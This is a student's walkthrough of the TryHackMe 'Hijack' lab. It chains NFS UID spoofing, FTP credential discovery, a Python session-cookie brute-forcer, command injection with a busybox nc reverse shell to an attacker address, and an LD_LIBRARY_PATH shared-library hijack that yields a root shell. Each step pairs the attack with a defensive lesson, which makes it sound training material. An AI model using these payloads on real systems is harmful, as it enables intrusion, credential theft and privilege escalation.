Room Link: https://tryhackme.com/room/hijack

My Profile: https://tryhackme.com/p/RayenHafsawy

🧭 Introduction

In this write-up, I demonstrate how I compromised a target machine by chaining multiple techniques — including NFS share enumeration, FTP credential discovery, cookie session hijacking, command injection, and LD_LIBRARY_PATH privilege escalation — to achieve full root access.

This lab is a perfect example of how weak session encoding, exposed network shares, and misconfigured sudo environments can combine into a complete system takeover.

🔍 1. Initial Reconnaissance

I started with a standard Nmap scan to identify open ports and services:

nmap -sC -sV 10.10.76.229

📊 Result:

Port 21   → FTP   (vsftpd 3.0.3)
Port 22   → SSH   (OpenSSH 7.2p2)
Port 80   → HTTP  (Apache 2.4.18)
Port 2049 → NFS

➡️ I also discovered an admin page at:

http://10.10.76.229/administration.php

📊 Finding: Username enumeration was possible via error messages — valid username confirmed: admin

💭 Always scan for NFS on port 2049 — exposed network shares are frequently misconfigured and grant direct file system access.

📂 2. NFS Enumeration & Access

I checked for available NFS shares:

showmount -e 10.10.76.229

📊 Result:

/mnt/share (globally accessible)

➡️ I mounted the share but got permission denied — the share required a matching UID. I created a local user with the correct UID to bypass this:

sudo mkdir -p /tmp/mount_point
sudo mount -t nfs 10.10.76.229:/mnt/share /tmp/mount_point -o nolock
sudo useradd hijack -u 1003 -m -s /bin/bash
sudo su - hijack

✅ Result: Access to the NFS share granted.

📊 File found: for_employees.txt containing FTP credentials:

ftpuser:W3stV1rg1n14M0un741nM4m4

💭 NFS shares without proper UID restrictions can be bypassed simply by creating a local user with a matching UID — always restrict NFS exports by IP and UID.

🔑 3. FTP Enumeration — Credential Discovery

I logged into the FTP server using the discovered credentials:

ftp 10.10.76.229
Username : ftpuser
Password : W3stV1rg1n14M0un741nM4m4

📊 Files discovered:

.from_admin.txt    → Mentions users: admin and rick
passwords_list.txt → List of potential passwords

💭 FTP servers often contain files left by administrators — always list all files including hidden ones starting with a dot.

🍪 4. Cookie Hijacking — Admin Panel Access

Cookie Analysis

After registering an account and logging in, I captured the PHPSESSID cookie and analyzed its format:

Base64 decoded → USERNAME:MD5(PASSWORD)
Example        → admin:5f4dcc3b5aa765d61d8327deb882cf99

Admin Cookie Bruteforce

I wrote a Python script to bruteforce the admin cookie using the discovered password list:

import requests
import hashlib
import base64
file_path = 'passwords_list.txt'
def generate_sessionid(password):
    hashed_password = hashlib.md5(password.encode('utf-8')).hexdigest()
    plain = "admin:" + hashed_password
    encoded_bytes = base64.b64encode(plain.encode('utf-8')).decode('utf-8')
    return encoded_bytes
def check_valid_session(password):
    sessionid = generate_sessionid(password)
    headers = {'Cookie': 'PHPSESSID=' + sessionid}
    url = 'http://10.10.76.229/administration.php'
    response = requests.get(url, headers=headers)
    return "Access denied" not in response.text
with open(file_path, 'r') as file:
    for line in file:
        password = line.strip()
        if check_valid_session(password):
            print(f"Valid password: {password}")
            print(f"Cookie: {generate_sessionid(password)}")
            break

🔓 Result:

Username : admin
Password : N3v3rG0nn4G1v3Y0uUp

✅ Admin panel access granted.

⚠️ Session cookies encoding credentials in Base64 with MD5 hashes provide virtually no security — always use server-side session management with strong random tokens.

💉 5. Command Injection — Reverse Shell

The admin panel included a service status checker feature. Direct commands were filtered but I bypassed it using the & character:

& id

✅ Result: Command injection confirmed.

➡️ I sent a reverse shell payload:

$(busybox nc <ATTACK_IP> 4444 -e /bin/bash)

With a listener ready on my attack machine:

nc -lvnp 4444

✅ Result: Reverse shell obtained.

💭 Input filtering that only blocks specific keywords is easily bypassed — always use a proper allowlist approach for command execution features.

🔐 6. SSH Access — Config File Credentials

I found database credentials in the web application config file:

cat /var/www/html/config.php

📊 Result:

DB_USERNAME : rick
DB_PASSWORD : N3v3rG0nn4G1v3Y0uUp

➡️ I used these credentials to SSH in as rick:

ssh rick@10.10.76.229
# Password: N3v3rG0nn4G1v3Y0uUp

✅ Result: Clean SSH shell obtained as rick.

👤 7. User Flag

cat /home/rick/user.txt

🏁 Flag: THM{fdc8cd4cff2c19e0d1022e78481ddf36}

⚙️ 8. Privilege Escalation — LD_LIBRARY_PATH Abuse

I checked sudo permissions:

sudo -l

📊 Finding:

(root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
env_keep+=LD_LIBRARY_PATH

➡️ LD_LIBRARY_PATH is preserved in the sudo environment — this allows loading a malicious shared library when apache2 runs as root.

➡️ I checked which libraries apache2 uses:

ldd /usr/sbin/apache2

📊 Target library: libcrypt.so.1

➡️ I created a malicious shared library:

hijack.c:
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
    unsetenv("LD_LIBRARY_PATH");
    setresuid(0,0,0);
    system("/bin/bash -p");
}

➡️ Compiled it:

gcc -shared -fPIC hijack.c -o /tmp/libcrypt.so.1

➡️ Executed with sudo pointing LD_LIBRARY_PATH to /tmp:

sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

✅ Result: Root shell obtained.

⚠️ Preserving LD_LIBRARY_PATH in a sudo context allows loading arbitrary code as root — always sanitize environment variables in sudo rules.

👑 9. Root Flag

cat /root/root.txt

🏁 Flag: THM{b91ea3e8285157eaf173d88d0a73ed5a}

🔗 Attack Path Overview

Recon            ➝ FTP, SSH, HTTP, NFS discovered
NFS Mount        ➝ UID matching bypasses permissions
FTP Access       ➝ ftpuser credentials found in NFS share
FTP Enum         ➝ passwords_list.txt and admin hints found
Cookie Analysis  ➝ Base64(admin:MD5(password)) format identified
Python Bruteforce➝ admin:N3v3rG0nn4G1v3Y0uUp cracked
Admin Panel      ➝ Service checker with command injection
Reverse Shell    ➝ busybox nc payload → shell obtained
config.php       ➝ rick:N3v3rG0nn4G1v3Y0uUp found
SSH              ➝ User shell obtained as rick
sudo -l          ➝ LD_LIBRARY_PATH preserved in sudo env
Malicious .so    ➝ libcrypt.so.1 hijacked → root shell

🧠 Lessons Learned

NFS shares without proper UID restrictions can be bypassed by creating a matching local user FTP servers often contain sensitive files left by administrators — always enumerate thoroughly Session cookies encoding credentials are trivially bruteforceable — use proper random server-side tokens Command injection filters relying on blocklists are easily bypassed with alternative syntax Config files in web roots frequently contain reusable credentials LD_LIBRARY_PATH preserved in sudo rules allows loading arbitrary code as root — always sanitize sudo environments

🎯 Conclusion

This lab demonstrates how a chain of network share misconfigurations, weak cookie encoding, command injection, and a dangerous sudo environment variable can lead to complete system compromise.

💡 The real lesson here is that security must be applied at every layer — from network share permissions to session management to sudo configuration — because attackers will chain every weakness they find.

✍️ About the Author

Rayen Hafsawy Cybersecurity student focused on penetration testing and CTF challenges. 📧 rayenhafsawy@gmail.com

🚀 Follow My Journey

I regularly share write-ups and my cybersecurity journey. More content coming soon 🚀